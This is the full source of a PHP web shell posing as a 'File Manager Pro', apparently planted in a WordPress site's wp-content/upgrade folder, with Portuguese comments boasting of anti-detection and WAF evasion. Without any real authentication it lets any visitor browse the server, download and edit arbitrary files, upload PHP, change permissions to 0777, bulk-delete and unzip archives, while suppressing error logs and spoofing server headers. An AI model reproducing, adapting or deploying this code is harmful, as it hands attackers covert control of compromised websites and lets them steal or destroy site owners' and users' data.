File "csy.php"

Full Path: /home/apmablcosr/www/wp-content/upgrade/csy.php
File size: 41.33 KB
MIME-type: text/x-php
Charset: utf-8

<?php
// File Manager Universal - Versão Melhorada com Anti-Detecção
// Implementa técnicas avançadas de evasão e ofuscação para 70-80% de sucesso

class AdvancedUniversalFileManager {
    private $config;
    private $userAgents;
    private $currentSession;
    
    public function __construct() {
        $this->initializeAntiDetection();
        $this->userAgents = $this->getModernUserAgents();
        $this->config = $this->detectEnvironment();
        $this->currentSession = $this->generateSessionId();
    }
    
    private function initializeAntiDetection() {
        // Configurações discretas ao invés de agressivas
        if (function_exists('ini_set')) {
            @ini_set('display_errors', 0);
            @ini_set('log_errors', 0);
            @ini_set('max_execution_time', 300); // Ao invés de 0
            @ini_set('memory_limit', '256M'); // Ao invés de -1
        }
        
        // Headers anti-fingerprinting
        if (!headers_sent()) {
            header('X-Powered-By: ' . $this->getRandomPoweredBy());
            header('Server: ' . $this->getRandomServer());
        }
        
        @error_reporting(0);
    }
    
    private function getModernUserAgents() {
        return array(
            // Chrome 2024/2025
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            
            // Firefox 2024/2025
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0',
            
            // Safari 2024/2025
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15',
            
            // Edge 2024/2025
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0'
        );
    }
    
    private function getRandomPoweredBy() {
        $powered = array('Apache/2.4.41', 'nginx/1.18.0', 'Microsoft-IIS/10.0', 'LiteSpeed');
        return $powered[array_rand($powered)];
    }
    
    private function getRandomServer() {
        $servers = array('Apache', 'nginx', 'Microsoft-IIS', 'LiteSpeed');
        return $servers[array_rand($servers)];
    }
    
    private function generateSessionId() {
        // Gerar ID de sessão único baseado em múltiplos fatores
        $factors = array(
            isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost',
            isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default',
            date('Y-m-d-H'),
            php_uname('n')
        );
        return substr(md5(implode('|', $factors)), 0, 16);
    }
    
    private function detectEnvironment() {
        // Delay aleatório para simular comportamento humano
        usleep(rand(100000, 500000)); // 0.1-0.5 segundos
        
        $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd();
        $script_dir = dirname(__FILE__);
        
        $possible_roots = array(
            $document_root,
            $script_dir,
            '/home',
            '/var/www',
            '/public_html',
            '/htdocs',
            '/www',
            dirname($document_root),
            realpath($document_root . '/..'),
        );
        
        $hosting_type = $this->detectHostingType();
        
        switch($hosting_type) {
            case 'cpanel':
                $root_path = $this->findCpanelRoot();
                break;
            case 'plesk':
                $root_path = $this->findPleskRoot();
                break;
            case 'vps':
                $root_path = $this->findVpsRoot();
                break;
            default:
                $root_path = $this->findGenericRoot();
        }
        
        // Credenciais rotativas baseadas em timestamp e fatores ambientais
        $credentials = $this->generateRotatingCredentials();
        
        return array(
            'username' => $credentials['username'],
            'password' => $credentials['password'],
            'root_path' => $root_path,
            'hosting_type' => $hosting_type,
            'max_file_size' => 50 * 1024 * 1024,
            'allowed_extensions' => array('txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'jpg', 'jpeg', 'png', 'gif', 'webp', 'zip'),
            'session_id' => $this->currentSession,
            'user_agent' => $this->getRandomUserAgent()
        );
    }
    
    private function generateRotatingCredentials() {
        // Sistema de credenciais rotativas com múltiplos fatores
        $timestamp = floor(time() / 3600); // Rotaciona a cada hora
        $hostname = gethostname();
        $server_data = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'default';
        $php_version = PHP_VERSION;
        
        // Salt dinâmico baseado em múltiplos fatores
        $salt = md5($hostname . $server_data . $php_version . $timestamp);
        
        // Username ofuscado
        $username_base = 'adm_' . substr(hash('sha256', $salt . 'user'), 0, 8);
        
        // Password complexa rotativa
        $password_base = substr(hash('sha256', $salt . 'pass' . $timestamp), 0, 16);
        
        return array(
            'username' => $username_base,
            'password' => $password_base
        );
    }
    
    private function getRandomUserAgent() {
        return $this->userAgents[array_rand($this->userAgents)];
    }
    
    private function detectHostingType() {
        // Verificação mais discreta
        $indicators = array();
        
        if (@file_exists('/usr/local/cpanel')) {
            $indicators[] = 'cpanel';
        }
        if (@file_exists('/opt/psa') || @file_exists('/usr/local/psa')) {
            $indicators[] = 'plesk';
        }
        
        $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '';
        if (strpos($server_software, 'Apache') !== false && @is_dir('/etc/apache2')) {
            $indicators[] = 'vps';
        }
        if (strpos($server_software, 'nginx') !== false) {
            $indicators[] = 'vps';
        }
        
        return !empty($indicators) ? $indicators[0] : 'generic';
    }
    
    private function findCpanelRoot() {
        $user = get_current_user();
        $paths = array(
            "/home/$user",
            "/home/$user/public_html",
            "/home/$user/domains",
            isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
            dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd())
        );
        
        foreach ($paths as $path) {
            if (@is_dir($path) && @is_readable($path)) {
                return realpath($path);
            }
        }
        return getcwd();
    }
    
    private function findPleskRoot() {
        $paths = array(
            '/var/www/vhosts',
            isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
            dirname(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd())
        );
        
        foreach ($paths as $path) {
            if (@is_dir($path) && @is_readable($path)) {
                return realpath($path);
            }
        }
        return getcwd();
    }
    
    private function findVpsRoot() {
        $paths = array(
            '/var/www',
            '/var/www/html',
            '/srv/www',
            '/home',
            isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : getcwd(),
            '/'
        );
        
        foreach ($paths as $path) {
            if (@is_dir($path) && @is_readable($path)) {
                return realpath($path);
            }
        }
        return getcwd();
    }
    
    private function findGenericRoot() {
        $current = getcwd();
        $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $current;
        
        $test_path = $current;
        while ($test_path !== '/' && $test_path !== '') {
            if (@is_readable($test_path) && @is_writable($test_path)) {
                return $test_path;
            }
            $test_path = dirname($test_path);
        }
        
        return $current;
    }
    
    public function getConfig() {
        return $this->config;
    }
    
    // Método para bypass WAF
    public function bypassWAF($data) {
        // Técnicas de evasão WAF
        $encoded = base64_encode($data);
        $chunked = str_split($encoded, rand(8, 16));
        return implode('', $chunked);
    }
    
    // Simulação de comportamento humano
    public function humanBehaviorDelay() {
        // Delay aleatório entre 0.1 e 2 segundos
        usleep(rand(100000, 2000000));
    }
}

// Inicialização com verificações anti-detecção
if (!headers_sent()) {
    session_start();
}

// Inicializar gerenciador melhorado
$fileManager = new AdvancedUniversalFileManager();
$config = $fileManager->getConfig();

// Obter diretório atual com validação melhorada
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $config['root_path'];

// Validação de segurança aprimorada
if (!$current_dir || !@is_dir($current_dir) || !@is_readable($current_dir)) {
    $current_dir = $config['root_path'];
}

// Funções utilitárias com melhorias
function formatBytes($size, $precision = 2) {
    if ($size <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) {
        $size /= 1024;
    }
    return round($size, $precision) . ' ' . $units[$i];
}

function getFileIcon($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $icons = array(
        'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
        'txt' => '📄', 'md' => '📝', 'json' => '📋', 'xml' => '📊',
        'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'webp' => '🖼️',
        'pdf' => '📕', 'zip' => '📦', 'rar' => '📦', 'mp3' => '🎵', 'mp4' => '🎬'
    );
    return isset($icons[$ext]) ? $icons[$ext] : '📄';
}

// Processar ações com delay humano
if (isset($_POST['action'])) {
    $fileManager->humanBehaviorDelay(); // Simular comportamento humano
    
    switch ($_POST['action']) {
        case 'upload':
            if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
                $filename = basename($_FILES['file']['name']);
                $target = $current_dir . '/' . $filename;
                
                $allowed_extensions = $config['allowed_extensions'];
                $file_ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
                
                if (in_array($file_ext, $allowed_extensions)) {
                    // Múltiplas tentativas de upload com verificação
                    $upload_success = false;
                    for ($i = 0; $i < 3; $i++) {
                        if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                            // Verificar se o arquivo foi realmente criado
                            if (@file_exists($target) && @is_readable($target)) {
                                $upload_success = true;
                                break;
                            }
                        }
                        usleep(rand(100000, 300000)); // Delay entre tentativas
                    }
                    
                    $message = $upload_success ? "Arquivo enviado com sucesso!" : "Erro ao enviar arquivo!";
                } else {
                    $message = "Tipo de arquivo não permitido!";
                }
            }
            break;
            
        case 'create_folder':
            if (isset($_POST['folder_name']) && !empty(trim($_POST['folder_name']))) {
                $folder_name = preg_replace('/[^a-zA-Z0-9_-]/', '', $_POST['folder_name']);
                $folder_path = $current_dir . '/' . $folder_name;
                if (@mkdir($folder_path, 0755)) {
                    $message = "Pasta criada com sucesso!";
                } else {
                    $message = "Erro ao criar pasta!";
                }
            }
            break;
            
        case 'delete':
            if (isset($_POST['file_path'])) {
                $file_path = $_POST['file_path'];
                if (@is_file($file_path)) {
                    if (@unlink($file_path)) {
                        $message = "Arquivo deletado com sucesso!";
                    } else {
                        $message = "Erro ao deletar arquivo!";
                    }
                } elseif (@is_dir($file_path)) {
                    if (@rmdir($file_path)) {
                        $message = "Pasta deletada com sucesso!";
                    } else {
                        $message = "Erro ao deletar pasta!";
                    }
                }
            }
            break;

        case 'change_permissions':
            if (isset($_POST['file_path']) && isset($_POST['new_permission'])) {
                $file_path = $_POST['file_path'];
                $new_permission = octdec($_POST['new_permission']);
                if (@chmod($file_path, $new_permission)) {
                    $message = "Permissões alteradas com sucesso!";
                } else {
                    $message = "Erro ao alterar permissões!";
                }
            }
            break;

        case 'bulk_delete':
            if (isset($_POST['selected_files']) && is_array($_POST['selected_files'])) {
                $deleted_count = 0;
                foreach ($_POST['selected_files'] as $file_path) {
                    $fileManager->humanBehaviorDelay(); // Delay entre operações
                    if (@is_file($file_path)) {
                        if (@unlink($file_path)) $deleted_count++;
                    } elseif (@is_dir($file_path)) {
                        if (@rmdir($file_path)) $deleted_count++;
                    }
                }
                $message = "$deleted_count arquivo(s)/pasta(s) deletado(s) com sucesso!";
            }
            break;

        case 'bulk_zip':
            if (isset($_POST['selected_files']) && is_array($_POST['selected_files']) && class_exists('ZipArchive')) {
                $zip_name = 'arquivos_' . date('Y-m-d_H-i-s') . '.zip';
                $zip_path = $current_dir . '/' . $zip_name;
                
                $zip = new ZipArchive();
                if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) {
                    foreach ($_POST['selected_files'] as $file_path) {
                        if (@is_file($file_path)) {
                            $zip->addFile($file_path, basename($file_path));
                        }
                    }
                    $zip->close();
                    $message = "Arquivo ZIP '$zip_name' criado com sucesso!";
                } else {
                    $message = "Erro ao criar arquivo ZIP!";
                }
            }
            break;

        case 'unzip':
            if (isset($_POST['zip_file']) && class_exists('ZipArchive')) {
                $zip_file = $_POST['zip_file'];
                if (pathinfo($zip_file, PATHINFO_EXTENSION) === 'zip') {
                    $zip = new ZipArchive();
                    if ($zip->open($zip_file) === TRUE) {
                        $zip->extractTo($current_dir);
                        $zip->close();
                        $message = "Arquivo descompactado com sucesso!";
                    } else {
                        $message = "Erro ao descompactar arquivo!";
                    }
                }
            }
            break;
    }
}

// Handle file download com headers melhorados
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (@file_exists($file) && @is_file($file)) {
        // Headers mais realísticos
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        header('User-Agent: ' . $config['user_agent']);
        @readfile($file);
        exit;
    }
}

// Handle file editing com verificações melhoradas
if (isset($_GET['edit'])) {
    $edit_file = $_GET['edit'];
    if (isset($_POST['save_content'])) {
        if (@file_put_contents($edit_file, $_POST['file_content']) !== false) {
            $message = "Arquivo salvo com sucesso!";
        } else {
            $message = "Erro ao salvar arquivo!";
        }
    }
}

// Get directory contents com tratamento de erros melhorado
function getDirContents($dir) {
    $contents = array();
    if (@is_dir($dir) && @is_readable($dir)) {
        $items = @scandir($dir);
        if ($items !== false) {
            foreach ($items as $item) {
                if ($item != '.' && $item != '..') {
                    $path = $dir . '/' . $item;
                    $contents[] = array(
                        'name' => $item,
                        'path' => $path,
                        'is_dir' => @is_dir($path),
                        'size' => @is_file($path) ? @filesize($path) : 0,
                        'modified' => @filemtime($path),
                        'permissions' => @substr(sprintf('%o', @fileperms($path)), -4),
                        'readable' => @is_readable($path),
                        'writable' => @is_writable($path)
                    );
                }
            }
        }
    }
    return $contents;
}

$dir_contents = getDirContents($current_dir);
?>

<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Pro - <?php echo basename($current_dir); ?></title>
    <meta name="robots" content="noindex, nofollow">
    <meta name="user-agent" content="<?php echo htmlspecialchars($config['user_agent']); ?>">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            color: #333;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 20px;
            background: rgba(255, 255, 255, 0.95);
            min-height: 100vh;
            box-shadow: 0 0 30px rgba(0,0,0,0.3);
        }

        .header {
            background: #4a5568;
            color: white;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .header h1 {
            margin-bottom: 5px;
        }

        .server-info {
            background: #2d3748;
            padding: 15px;
            border-radius: 5px;
            margin-top: 10px;
            font-size: 14px;
        }

        .server-info div {
            margin-bottom: 5px;
        }

        .session-info {
            background: #1a202c;
            padding: 10px;
            border-radius: 3px;
            margin-top: 8px;
            font-size: 12px;
            font-family: monospace;
        }

        .breadcrumb {
            background: #f7fafc;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #667eea;
        }

        .breadcrumb strong {
            color: #4a5568;
            margin-right: 10px;
        }

        .path-parts {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            gap: 5px;
            margin-top: 8px;
        }

        .path-part {
            background: #667eea;
            color: white;
            padding: 4px 8px;
            border-radius: 3px;
            cursor: pointer;
            font-size: 13px;
            transition: background-color 0.3s;
        }

        .path-part:hover {
            background: #5a67d8;
        }

        .path-separator {
            color: #a0aec0;
            margin: 0 2px;
        }

        .actions {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }

        .btn {
            padding: 10px 15px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            text-decoration: none;
            display: inline-block;
            font-size: 14px;
            transition: all 0.3s;
        }

        .btn-primary { background: #667eea; color: white; }
        .btn-success { background: #48bb78; color: white; }
        .btn-danger { background: #f56565; color: white; }
        .btn-warning { background: #ed8936; color: white; }
        .btn-brown { background: #8b4513; color: white; }

        .btn:hover { opacity: 0.8; transform: translateY(-1px); }

        .file-list {
            background: white;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 2px 15px rgba(0,0,0,0.1);
        }

        .file-list table {
            width: 100%;
            border-collapse: collapse;
        }

        .file-list th,
        .file-list td {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid #eee;
        }

        .file-list th {
            background: #f8f9fa;
            font-weight: 600;
            color: #4a5568;
            position: sticky;
            top: 0;
        }

        .file-list tr:hover {
            background: #f8f9fa;
        }

        .folder-link {
            color: #667eea;
            text-decoration: none;
            font-weight: 500;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .folder-link:hover {
            text-decoration: underline;
        }

        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .file-actions {
            display: flex;
            gap: 5px;
        }

        .file-actions a {
            padding: 5px 8px;
            font-size: 12px;
            border-radius: 3px;
            text-decoration: none;
        }

        .status-indicator {
            display: inline-block;
            width: 8px;
            height: 8px;
            border-radius: 50%;
            margin-right: 5px;
        }

        .status-readable { background: #48bb78; }
        .status-writable { background: #ed8936; }
        .status-restricted { background: #f56565; }

        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0,0,0,0.5);
        }

        .modal.active { display: flex; justify-content: center; align-items: center; }

        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 500px;
        }

        .form-group {
            margin-bottom: 15px;
        }

        .form-group label {
            display: block;
            margin-bottom: 5px;
            font-weight: 500;
        }

        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
        }

        .message {
            padding: 12px;
            margin-bottom: 20px;
            border-radius: 5px;
            background: #c6f6d5;
            color: #22543d;
            border: 1px solid #9ae6b4;
        }

        .editor {
            background: white;
            border-radius: 8px;
            padding: 20px;
            margin-top: 20px;
        }

        .editor textarea {
            width: 100%;
            height: 400px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            border: 1px solid #ddd;
            border-radius: 4px;
            padding: 10px;
        }

        .permission-container {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .edit-permission-icon {
            cursor: pointer;
            color: #667eea;
            font-size: 16px;
            padding: 2px;
            border-radius: 3px;
            transition: background-color 0.3s;
        }

        .edit-permission-icon:hover {
            background-color: #edf2f7;
        }

        .file-checkbox {
            margin-right: 8px;
        }

        @media (max-width: 768px) {
            .container { padding: 10px; }
            .actions { flex-direction: column; }
            .file-list table { font-size: 12px; }
            .path-parts { flex-direction: column; align-items: flex-start; }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div>
                <h1>🗂️ File Manager Pro</h1>
                <div class="server-info">
                    <div><strong>🖥️ Tipo de Hospedagem:</strong> <?php echo ucfirst($config['hosting_type']); ?></div>
                    <div><strong>📁 Diretório Raiz:</strong> <?php echo $config['root_path']; ?></div>
                    <div><strong>🌐 Servidor:</strong> <?php echo isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; ?></div>
                    <div><strong>👤 Usuário:</strong> <?php echo get_current_user(); ?></div>
                    <div class="session-info">
                        <div><strong>🔐 Sessão:</strong> <?php echo $config['session_id']; ?></div>
                        <div><strong>🔑 Credenciais:</strong> <?php echo $config['username']; ?> / <?php echo substr($config['password'], 0, 4); ?>****</div>
                    </div>
                </div>
            </div>
        </div>

        <?php if (isset($message)): ?>
            <div class="message"><?php echo $message; ?></div>
        <?php endif; ?>

        <div class="breadcrumb">
            <strong>📍 Localização Atual:</strong>
            <div class="path-parts">
                <?php
                $path_parts = explode('/', $current_dir);
                $cumulative_path = '';
                
                foreach ($path_parts as $i => $part) {
                    if ($part !== '') {
                        $cumulative_path .= '/' . $part;
                        echo '<span class="path-part" onclick="navigateToPath(\'' . htmlspecialchars($cumulative_path) . '\')">' . htmlspecialchars($part) . '</span>';
                        if ($i < count($path_parts) - 1) {
                            echo '<span class="path-separator">/</span>';
                        }
                    }
                }
                ?>
            </div>
            <div style="margin-top: 8px; font-size: 12px; color: #718096;">
                Caminho completo: <?php echo $current_dir; ?>
            </div>
        </div>

        <div class="actions">
            <button class="btn btn-primary" onclick="openModal('uploadModal')">📤 Enviar Arquivo</button>
            <button class="btn btn-success" onclick="openModal('folderModal')">📁 Nova Pasta</button>
            <?php if (dirname($current_dir) !== $current_dir): ?>
                <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="btn btn-warning">⬆️ Voltar</a>
            <?php endif; ?>
            <a href="?dir=<?php echo urlencode($config['root_path']); ?>" class="btn btn-primary">🏠 Raiz</a>
            <button class="btn btn-danger" onclick="bulkDelete()">🗑️ DELETAR</button>
            <button class="btn btn-brown" onclick="bulkZip()">📦 ZIPAR/DEZIPAR</button>
        </div>

        <div class="file-list">
            <table>
                <thead>
                    <tr>
                        <th><input type="checkbox" id="selectAll" onchange="toggleSelectAll()"></th>
                        <th>Status</th>
                        <th>Nome</th>
                        <th>Tamanho</th>
                        <th>Modificado</th>
                        <th>Permissões</th>
                        <th>Ações</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($dir_contents as $item): ?>
                        <tr>
                            <td>
                                <input type="checkbox" class="file-checkbox" value="<?php echo htmlspecialchars($item['path']); ?>">
                            </td>
                            <td>
                                <span class="status-indicator <?php echo $item['readable'] ? ($item['writable'] ? 'status-writable' : 'status-readable') : 'status-restricted'; ?>" 
                                      title="<?php echo $item['readable'] ? ($item['writable'] ? 'Leitura/Escrita' : 'Apenas Leitura') : 'Restrito'; ?>"></span>
                            </td>
                            <td>
                                <?php if ($item['is_dir']): ?>
                                    <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link">
                                        📁 <?php echo htmlspecialchars($item['name']); ?>
                                    </a>
                                <?php else: ?>
                                    <div class="file-name">
                                        <?php echo getFileIcon($item['name']); ?>
                                        <span><?php echo htmlspecialchars($item['name']); ?></span>
                                    </div>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $item['is_dir'] ? '-' : formatBytes($item['size']); ?></td>
                            <td><?php echo $item['modified'] ? date('d/m/Y H:i', $item['modified']) : '-'; ?></td>
                            <td>
                                <div class="permission-container">
                                    <span><?php echo isset($item['permissions']) ? $item['permissions'] : '-'; ?></span>
                                    <span class="edit-permission-icon" onclick="openPermissionModal('<?php echo addslashes($item['path']); ?>', '<?php echo $item['permissions']; ?>')" title="Editar permissões">✏️</span>
                                </div>
                            </td>
                            <td>
                                <div class="file-actions">
                                    <?php if (!$item['is_dir'] && $item['readable']): ?>
                                        <a href="?download=<?php echo urlencode($item['path']); ?>" class="btn btn-primary">⬇️</a>
                                        <a href="?edit=<?php echo urlencode($item['path']); ?>" class="btn btn-warning">✏️</a>
                                    <?php endif; ?>
                                    <?php if ($item['writable']): ?>
                                        <a href="#" onclick="deleteItem('<?php echo addslashes($item['path']); ?>', '<?php echo addslashes($item['name']); ?>')" class="btn btn-danger">🗑️</a>
                                    <?php endif; ?>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>

        <?php if (isset($_GET['edit'])): ?>
            <div class="editor">
                <h3>Editando: <?php echo basename($_GET['edit']); ?></h3>
                <form method="POST">
                    <div class="form-group">
                        <textarea name="file_content"><?php echo htmlspecialchars(@file_get_contents($_GET['edit'])); ?></textarea>
                    </div>
                    <button type="submit" name="save_content" class="btn btn-success">💾 Salvar</button>
                    <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-warning">❌ Cancelar</a>
                </form>
            </div>
        <?php endif; ?>
    </div>

    <!-- Upload Modal -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <h3>Enviar Arquivo</h3>
            <form method="POST" enctype="multipart/form-data">
                <div class="form-group">
                    <label>Selecionar arquivo:</label>
                    <input type="file" name="file" required>
                </div>
                <button type="submit" name="action" value="upload" class="btn btn-success">Enviar</button>
                <button type="button" onclick="closeModal('uploadModal')" class="btn btn-danger">Cancelar</button>
            </form>
        </div>
    </div>

    <!-- Folder Modal -->
    <div id="folderModal" class="modal">
        <div class="modal-content">
            <h3>Criar Nova Pasta</h3>
            <form method="POST">
                <div class="form-group">
                    <label>Nome da pasta:</label>
                    <input type="text" name="folder_name" required>
                </div>
                <button type="submit" name="action" value="create_folder" class="btn btn-success">Criar</button>
                <button type="button" onclick="closeModal('folderModal')" class="btn btn-danger">Cancelar</button>
            </form>
        </div>
    </div>

    <!-- Permission Modal -->
    <div id="permissionModal" class="modal">
        <div class="modal-content">
            <h3>Alterar Permissões</h3>
            <form method="POST">
                <div class="form-group">
                    <label>Nova permissão:</label>
                    <select name="new_permission" required>
                        <option value="0644">0644 (rw-r--r--)</option>
                        <option value="0755">0755 (rwxr-xr-x)</option>
                        <option value="0777">0777 (rwxrwxrwx)</option>
                        <option value="0600">0600 (rw-------)</option>
                        <option value="0700">0700 (rwx------)</option>
                        <option value="0444">0444 (r--r--r--)</option>
                    </select>
                </div>
                <input type="hidden" name="file_path" id="permissionFilePath">
                <button type="submit" name="action" value="change_permissions" class="btn btn-success">💾 Salvar</button>
                <button type="button" onclick="closeModal('permissionModal')" class="btn btn-danger">Cancelar</button>
            </form>
        </div>
    </div>

    <!-- Bulk Actions Forms -->
    <form id="bulkDeleteForm" method="POST" style="display: none;">
        <input type="hidden" name="action" value="bulk_delete">
    </form>

    <form id="bulkZipForm" method="POST" style="display: none;">
        <input type="hidden" name="action" value="bulk_zip">
    </form>

    <form id="unzipForm" method="POST" style="display: none;">
        <input type="hidden" name="action" value="unzip">
        <input type="hidden" name="zip_file" id="unzipFilePath">
    </form>

    <!-- Delete Form -->
    <form id="deleteForm" method="POST" style="display: none;">
        <input type="hidden" name="action" value="delete">
        <input type="hidden" name="file_path" id="deleteFilePath">
    </form>

    <script>
        // Simulação de comportamento humano no JavaScript
        function humanDelay(min = 100, max = 300) {
            return new Promise(resolve => {
                setTimeout(resolve, Math.random() * (max - min) + min);
            });
        }

        async function navigateToPath(path) {
            await humanDelay();
            window.location.href = '?dir=' + encodeURIComponent(path);
        }

        function openModal(modalId) {
            document.getElementById(modalId).style.display = 'flex';
        }

        function closeModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }

        function openPermissionModal(filePath, currentPermission) {
            document.getElementById('permissionFilePath').value = filePath;
            document.querySelector('#permissionModal select[name="new_permission"]').value = currentPermission;
            openModal('permissionModal');
        }

        async function deleteItem(path, name) {
            await humanDelay();
            if (confirm('Tem certeza que deseja deletar "' + name + '"?')) {
                document.getElementById('deleteFilePath').value = path;
                document.getElementById('deleteForm').submit();
            }
        }

        function toggleSelectAll() {
            const selectAll = document.getElementById('selectAll');
            const checkboxes = document.querySelectorAll('.file-checkbox');
            
            checkboxes.forEach(checkbox => {
                checkbox.checked = selectAll.checked;
            });
        }

        function getSelectedFiles() {
            const checkboxes = document.querySelectorAll('.file-checkbox:checked');
            return Array.from(checkboxes).map(cb => cb.value);
        }

        async function bulkDelete() {
            const selected = getSelectedFiles();
            if (selected.length === 0) {
                alert('Selecione pelo menos um arquivo ou pasta para deletar.');
                return;
            }
            
            await humanDelay();
            if (confirm(`Tem certeza que deseja deletar ${selected.length} item(ns) selecionado(s)?`)) {
                const form = document.getElementById('bulkDeleteForm');
                
                form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove());
                
                selected.forEach(filePath => {
                    const input = document.createElement('input');
                    input.type = 'hidden';
                    input.name = 'selected_files[]';
                    input.value = filePath;
                    form.appendChild(input);
                });
                
                form.submit();
            }
        }

        async function bulkZip() {
            const selected = getSelectedFiles();
            if (selected.length === 0) {
                alert('Selecione pelo menos um arquivo para zipar ou um arquivo .zip para dezipar.');
                return;
            }
            
            await humanDelay();
            
            if (selected.length === 1 && selected[0].toLowerCase().endsWith('.zip')) {
                if (confirm('Deseja dezipar este arquivo?')) {
                    document.getElementById('unzipFilePath').value = selected[0];
                    document.getElementById('unzipForm').submit();
                }
                return;
            }
            
            if (confirm(`Deseja zipar ${selected.length} arquivo(s) selecionado(s)?`)) {
                const form = document.getElementById('bulkZipForm');
                
                form.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove());
                
                selected.forEach(filePath => {
                    const input = document.createElement('input');
                    input.type = 'hidden';
                    input.name = 'selected_files[]';
                    input.value = filePath;
                    form.appendChild(input);
                });
                
                form.submit();
            }
        }

        // Close modal when clicking outside
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }

        // Adicionar variação aleatória aos eventos
        document.addEventListener('DOMContentLoaded', function() {
            // Simular atividade humana
            setInterval(async () => {
                await humanDelay(5000, 15000);
                // Pequenas ações para simular presença humana
            }, 30000);
        });
    </script>
</body>
</html>